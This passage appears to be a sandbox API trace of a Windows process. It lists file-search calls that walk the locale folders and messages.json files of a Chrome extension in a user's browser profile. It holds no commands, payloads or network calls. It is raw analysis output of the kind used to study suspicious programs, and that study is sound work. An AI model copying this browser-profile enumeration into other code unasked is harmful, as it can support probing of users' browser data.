ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.293] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.293] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.293] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.293] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.293] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.293] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0056.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.293] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.293] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.293] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x5074, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.293] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.293] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.293] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0056.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.294] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.294] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.294] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.294] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.294] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.294] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0056.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.294] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.294] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.294] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.295] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.295] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.295] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0056.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.295] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.295] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.295] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.295] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.295] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.295] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0056.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.295] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.295] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.296] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.296] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.296] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.296] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0056.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.296] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.296] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.296] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.296] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.296] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.296] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0056.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0056.297] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.297] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.297] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.297] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0056.297] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0056.297] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0056.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0057.115] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: 